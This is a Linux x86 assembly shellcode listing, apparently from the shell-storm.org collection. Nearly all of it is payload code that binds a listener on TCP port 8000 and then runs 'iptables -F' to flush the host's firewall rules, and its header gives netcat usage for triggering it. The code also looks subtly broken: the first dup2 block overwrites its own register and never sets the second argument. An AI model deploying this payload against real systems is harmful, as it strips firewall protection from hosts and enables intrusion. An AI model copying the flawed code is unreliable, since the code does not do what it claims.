linux/x86 bindport 8000 & execve iptables -F 176 bytes

; ; Title : Bindport TCP/8000 & execve iptables -F ; os : Linux x86 ; size : 176 bytes ; IP : localhost ; Port : 8000 ; Use : nc localhost 8000 ; ; Author : Jonathan Salwan ; Mail : submit AT shell-storm.org ; Web : http://www.shell-storm.org ; ; ; More shellcodes in => http://www.shell-storm.org/shellcode/ ; section .text global _start _start: ;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;; push byte 0x0 push byte 0x1 push byte 0x2 mov eax, 0x66 mov ebx, 0x1 mov ecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;; mov edx, eax ;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;; push byte 0x0 push byte 0x0 push byte 0x0 push word 0x401f push word 0x2 mov ebx, esp push byte 0x10 push ebx push edx mov eax, 0x66 mov ebx, 0x2 mov ecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;; push byte 0x1 push edx mov eax, 0x66 mov ebx, 0x4 mov ecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;; push byte 0x0 push byte 0x0 push edx mov eax, 0x66 mov ebx, 0x5 mov ecx, esp int 0x80 ;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;; mov edx, eax ;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;; mov eax, 0x3f mov ebx, edx mov ebx, 0x2 int 0x80 mov eax, 0x3f mov ebx, edx mov ecx, 0x1 int 0x80 mov eax, 0x3f mov ebx, edx mov ecx, 0x0 int 0x80 ;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;; ;; execve(/sbin/iptables", "-F", NULL) ;; By Kris Katterjohn push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word 0x7365 push 0x6c626174 push 0x70692f6e push 0x6962732f mov ebx, esp push edx push ecx push ebx mov ecx, esp int 0x80